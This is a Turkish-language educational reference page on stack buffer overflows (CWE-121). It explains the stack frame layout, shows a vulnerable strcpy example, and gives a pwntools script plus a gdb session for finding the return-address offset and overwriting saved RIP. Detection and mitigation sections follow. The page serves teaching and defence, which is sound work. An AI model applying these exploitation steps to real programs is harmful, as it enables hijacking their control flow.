Skip to content

Stack buffer overflow

stack'te ayrılmış bir buffer'ın ötesine yazıp, saved register'ları ve return address'i overwrite ederek control flow'u yönlendirmek.

Mechanism

MITRE CWE-121'e göre: "A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function)." stack frame, düşükten yükseğe adreslere doğru, local buffer'ları, saved frame pointer'ı (SFP) ve saved return address'i (RET) bu sırayla yerleştirir.

Note

Suistimal edilen invariant, stack frame'in sabit layout'u: bir fonksiyonun local'leri saved return address'in altında durur ve sınırsız kopyalar yüksek adreslere doğru büyür. Aleph One'ın ("Smashing the Stack for Fun and Profit") 250 byte'lık bir string daha küçük bir buffer'a kopyalandığında gözlemlediği gibi: "all 250 bytes after buffer in the stack are being overwritten. This includes the SFP, RET, and even *str!" RET, CPU'nun ret üzerinde atladığı adres olduğundan, onun üzerine düşen byte'ları kontrol etmek şu anlama gelir: "a buffer overflow allows us to change the return address of a function. In this way we can change the flow of execution of the program." CWE-121, CWE-787'nin (Out-of-bounds Write) ve CWE-788'in (Access of Memory Location After End of Buffer) ChildOf'udur.

Walkthrough

MITRE'nin Example 1'i — sınırsız bir strcpy ile sabit boyutlu bir buffer:

#define BUFSIZE 256
int main(int argc, char **argv) {
    char buf[BUFSIZE];
    strcpy(buf, argv[1]);   // no guarantee argv[1] <= 256 bytes
}

buffer'dan saved RET'e olan offset'i bul, sonra üzerine yaz. pwntools ile:

from pwn import *
context.arch = 'amd64'
io = process('./vuln')
# cyclic pattern finds the exact offset to RIP
payload = cyclic(200)
io.sendline(payload)
# after crash, read $rsp from the core / gdb, then:
offset = cyclic_find(0x6161616c)          # -> e.g. 264
payload = b'A'*offset + p64(0xdeadbeef)   # overwrite saved return address
io.sendline(payload)
Overwrite'ı gdb'de doğrulama

$ gdb -q ./vuln
pwndbg> run $(python3 -c 'print("A"*264 + "BBBBBBBB")')
Program received signal SIGSEGV.
pwndbg> info registers rip
rip  0x4242424242424242   <-- 'BBBBBBBB' landed on the return address
rip'in 0x4242... tutması, saved RET'in kontrolünü kanıtlar. Buradan sonra overwrite genellikle bilinen bir adresi hedefler — ret2win, bir libc çağrısı (ret2libc) veya bir chain (return-oriented-programming).

Detection

Bir stack canary uyuşmazlığı *** stack smashing detected *** ile abort eder. AddressSanitizer, zehirlenmiş redzone'lar üzerinden stack-buffer-overflow raporlar. Kontrol edilen bir rip/eip ile çökmeler, fuzzing sırasında güçlü bir sinyaldir.

Mitigation

Stack canary'ler (master TLS canary saved RET'i korur), stack üzerinde shellcode'u engellemek için NX/DEP, ASLR/PIE, shadow stack'ler (Intel CET) ve FORTIFY_SOURCE. Uzunluk sınırlı API'ler (strncpy/snprintf) ve memory-safe diller kullan.

References